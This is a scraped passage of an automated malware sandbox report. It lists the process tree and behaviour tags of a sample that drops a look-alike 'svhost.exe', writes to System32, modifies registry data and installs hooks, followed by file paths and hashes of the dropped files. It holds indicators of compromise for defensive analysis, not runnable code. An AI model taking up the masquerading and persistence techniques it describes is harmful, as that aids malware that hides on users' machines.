- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4796
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Drops file in System32 directory
PID:1120
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1888
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C:\Windows\svhost.exeC:\Windows\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1452
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:2648
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
PID:3532
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C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
- Executes dropped EXE
PID:3004
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:4040
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 af1381ddac7d21fb2515b824885b96d852a255d90d2de101500f951d60297810
- MD5 ea4dca247f8a20953436cef44381ce0a
- SHA1 2767daced535f53f0537f075d0e44cd1bdd82883
- SHA512 da58d6620373adeef85fa01a0a2c19d222800ddf06654b559559f547f9a2c661085d336ec238eba7c9503d648cf0ea5c5d908f09b5dbb050d20fcf5ec233ba60
- TLSH T1F2216833B3DD8624CC9A413A10CDAC1036B6C7DB40DECFAB7B84E659A42F699CF61160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3122bb6da954dc4a07f27f1fb71f77f57f8a7491719f8bc1b4e65962b5f3bbc5
- MD5 7c3249bf4fbb8079af3329f820a91c2b
- SHA1 75c75a27a51b20aadc0a52bc07b33b6ec02e4764
- SHA512 dd5006381a080b5e3ec513ecc3d9ad8d637e5ef7eef43fdecc263e69b8c44ef9c3e9532aae4b19c8839dfb5f0afabfcc9e1f4cb6bf6cc1f40c471b6ed954b68f
- TLSH T112219833B3CD8624C89A013A10CDAC1036B6C7CB40DECFAB7B80E655A43F698CE60160
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\1434a831-da50-4996-ad80-171edd7dc6d3.exe
- Size 739KB
- SHA256 1f8e2bf3e9f155c1031512faaf5cb9ed520cb8c147c734cf2b3f40e7ad2aef22
- MD5 660385dfc222656835d2ad86f5372c35
- SHA1 5933649087787a3aeb516e5c9994aac02c12db61
- SHA512 84d34ab15d21ae6d8bfde93467df9f49b3319b9571abd92f744eb1040ddf64660edc05f8889ff9a8e048874d2fa4b2a04c2dcbd00eb6bdea6f24277229861065
- SSDEEP 6144:bXsQzijj1U1NMvQv/WkqSJHSX2TTaHHHW4Y1mcfMM89CBAP3FNQ9Qu:bXsQzijI2GtaHHHEf9DkkQu
- TLSH T1E8F46B403FA4D45BEA6A06B4A47456305B64AD171C1ED69BF8C43AEDDF33381EC2226F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xeshd5np.5kf.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\qxxy5ycs.bjo.exe
- Size 161KB
- SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
- MD5 94f1ab3a068f83b32639579ec9c5d025
- SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
- SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
- SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
- TLSH T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
- MD5 SHA1 SHA512 SSDEEP TLSH